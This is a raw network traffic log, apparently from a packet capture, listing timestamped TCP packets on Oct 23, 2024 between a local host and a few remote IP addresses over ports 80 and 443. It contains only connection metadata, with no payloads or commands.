Oct 23, 2024 17:51:41.625895977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625905037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625931025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625941992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625966072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625977039 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626002073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626018047 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626034975 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626045942 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626070976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626075983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626105070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626127958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626141071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626149893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626176119 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626204967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626214027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626226902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626249075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626287937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626298904 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626322031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626349926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626357079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626378059 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626399994 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626414061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626434088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626446962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626468897 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626482010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626502991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626516104 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626538038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626547098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626573086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626594067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626606941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626616001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626621962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626641035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626650095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626676083 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626689911 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626714945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626724958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626749039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626758099 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626785040 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626795053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626818895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626831055 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626854897 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626871109 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626888990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626914978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626923084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626926899 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626957893 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.626960993 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.626991987 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627015114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627022982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627036095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627060890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627065897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627094984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627100945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627129078 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627146006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627163887 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627172947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627197981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627207041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627233028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627265930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627275944 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627300024 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627332926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627362013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627396107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627437115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627547979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627569914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627569914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627569914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627582073 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627600908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627604961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627655029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627655983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627690077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627707958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627723932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627729893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627773046 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627778053 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627815962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627825975 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627852917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627887964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627899885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627923965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627950907 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627959013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.627973080 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.627993107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628005028 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628027916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628035069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628062010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628073931 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628098011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628103018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628132105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628142118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628166914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628170013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628201008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628210068 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628237009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628258944 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628271103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628279924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628309011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628313065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628343105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628356934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628377914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628390074 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628411055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628437996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628444910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628457069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628480911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628506899 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628515005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628520966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628550053 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628571033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628583908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628591061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628618002 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628623962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628654003 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628664017 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628689051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628693104 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628724098 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628732920 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628758907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628793001 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628812075 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628832102 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628868103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628881931 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628904104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628914118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.628940105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628976107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.628982067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629010916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629034996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629045010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629055977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629080057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629082918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629116058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629123926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629151106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629159927 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629184961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629196882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629225969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.629228115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.629273891 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.666238070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.666264057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.666277885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.666291952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.666374922 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.666573048 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:43.945322990 CEST	49864	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:43.945636988 CEST	49894	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:43.951097012 CEST	80	49864	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:43.951174021 CEST	49864	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:43.951637983 CEST	80	49894	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:43.951697111 CEST	49894	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:43.951845884 CEST	49894	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:43.957458973 CEST	80	49894	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:44.925836086 CEST	80	49894	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:44.925894022 CEST	49894	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:44.927946091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:44.928378105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:44.933583021 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:44.933639050 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:44.933742046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:44.933809996 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:44.934083939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:44.939388037 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:44.993803024 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:44.993892908 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:44.993983984 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:44.995193005 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:44.995227098 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:45.904340029 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904386044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904416084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904449940 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904488087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904504061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904540062 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904540062 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904614925 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904664040 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904665947 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904700994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904712915 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904735088 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904769897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904776096 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904805899 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904819012 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.904829979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.904877901 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.908453941 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:45.908633947 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:45.910300970 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.910335064 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:45.910377026 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:45.910414934 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.031943083 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.031991959 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032051086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032084942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032109976 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032121897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032145023 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032145023 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032161951 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032179117 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032216072 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032218933 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032254934 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032268047 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032309055 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032723904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032759905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032766104 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032793999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032799006 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032830000 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032833099 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032866955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.032870054 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.032906055 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.033533096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.033588886 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.033596992 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.033642054 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.033643007 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.033678055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.033685923 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.033711910 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.033714056 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.033754110 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.034440041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.034490108 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.034497023 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.034538984 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.037810087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.037887096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.037920952 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.037940025 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.037961006 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.037987947 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.038017988 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.038090944 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.039532900 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.144057989 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.144102097 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.144493103 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.193021059 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193058014 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193084955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193094969 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193149090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193149090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193260908 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193301916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193311930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193329096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193351984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193363905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193382025 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193407059 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193435907 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193479061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193527937 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193612099 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193646908 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193662882 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193681002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193712950 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193718910 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193733931 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193753958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193764925 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193793058 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.193799973 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.193841934 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194020033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194053888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194075108 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194088936 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194116116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194139004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194294930 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194329977 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194346905 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194366932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194396973 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194402933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194432974 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194458961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194473028 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194518089 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194519997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194555998 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194567919 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194591045 CEST	80	49900	185.215.113.16	192.168.2.6
